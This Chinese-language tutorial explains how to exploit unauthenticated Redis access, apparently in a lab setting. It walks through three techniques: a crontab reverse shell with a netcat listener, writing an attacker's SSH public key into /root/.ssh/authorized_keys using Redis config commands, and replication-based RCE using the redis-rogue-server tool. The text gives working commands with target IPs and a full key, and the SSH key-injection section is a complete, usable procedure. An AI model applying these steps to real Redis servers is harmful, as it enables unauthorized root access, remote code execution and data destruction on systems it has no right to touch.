Redis原理简介
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

利用计划任务执行命令反弹shell

一、利用原理
在攻击机上开启nc反弹端口监听,通过redis未授权访问漏洞,写入定时计划,反弹shell。
二、攻击方式
在redis以root权限运行时,我们可以写入crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
Nc –nlvp 6666
然后连接redis
Redis-cli –h 192.168.x.x (目标服务器ip)
然后在redis命令行执行以下命令:
redis未授权 - 图1
连接redis客户端,执行命令
redis未授权 - 图2
写入定时任务

redis未授权 - 图3
反弹shell
redis未授权 - 图4
redis未授权 - 图5

写ssh-keygen公钥然后使用私钥登陆

一、什么是密钥认证?
所谓的秘钥认证,就是基于公钥密码的认证,使用公钥加密,私钥解密,其中公钥是公开的,放在服务器端
可以把同一个公钥放在你想SSH登陆的服务器中,而私钥自己知道
大致过程:
1.客户端生成私钥和公钥,并把公钥拷贝给服务器端
2.客户端发起登陆请求,发送自己的相关信息
3.服务器端根据客户端发来的信息查找是否有该客户端的公钥,若没有拒绝登陆;若有则生成一段随机数,
使用该公钥加密后发给客户端
4.客户端收到服务器发来的加密信息后使用私钥解密,并把解密后的结果发给服务器用于验证
5.服务器收到客户端发来的解密结果,与刚刚自己生成的随机数对比,如果一致就允许登陆;不一致则拒绝登陆
二、利用的前提条件是什么?
Redis服务使用ROOT账号启动
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
靶机的root目录下需要有.ssh目录
三、利用原理
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key

ssh-keygen -t rsa —-生成密钥 按三次回车直到出现密钥
redis未授权 - 图6
redis未授权 - 图7

查看公钥
redis未授权 - 图8
然后在redis里执行命令:
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x “\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqoeuRrrzFrayXuBMmU37QTJmXHV322PmdRMi5cfOz1zp8ZWCq6E9Q3hCMRDgLjpMKr7d8A4+g3YdUPoi14VbHEGa4BurlBbw00TNAI8pa2PO1c+6hwU3iH8DOHHqFjUD3nxxLUs5Z5dhGRX45UqnU3OQ9gU93ioDjTwiYEvg+Q7QDMWYo8jRa1aQ1m8sb9CRwgWCBZES+AHcSxFwsw/GgT6Naj1O8vyG0KPGAMidEGcbWH5PTS/iShLdGAAiqKynBs0KvVOVPC3KvdTGAZWeQIr3FDOvKB44cB04/mphV0/A3whW+jJZDDcyP4k+SoWafwlSt9dlbdhWBY4Br6uY+habZcpDnRWVudkdQm03Yesk4Xd+74t70pzfs6BxVeWdEORyKL5oAo4B1kZm7ivqf2uzx5KhJt3cVlmLMdvtcVELioKZsngwaqVVNUG4/1l0nS0s7+2OgJYZyAXEdRv6tFXcKSsf9d9frdscnsLvF6/pmVGpUc3VdQvNynHf9om0= root@kali\n\n\n”
save
save后可以直接利用攻击机kali的私钥登录ssh
ssh -i id_rsa root@192.168.207.140
redis未授权 - 图9

Redis 主从复制进行 RCE

redis未授权 - 图10
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点 . 这是一种以空间置换时间的分布式的工作方案, 可以减轻主机缓存压力,避免单点故障

通过数据复制,Redis 的一个 master 可以挂载多个 slave,而 slave 下还可以挂载多个 slave,形成多层嵌套结构。所有写操作都在 master 实例中进行,master 执行完毕后,将写指令分发给挂在自己下面的 slave 节点。slave 节点下如果有嵌套的 slave,会将收到的写指令进一步分发给挂在自己下面的 slave

利用 redis-rogue-server 工具

下载地址:https://github.com/n0b0dyCN/redis-rogue-server
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
redis未授权 - 图11

python3 redis-rogue-server.py —rhost 192.168.207.140 —lhost 192.168.207.137
执行之后
redis未授权 - 图12
redis未授权 - 图13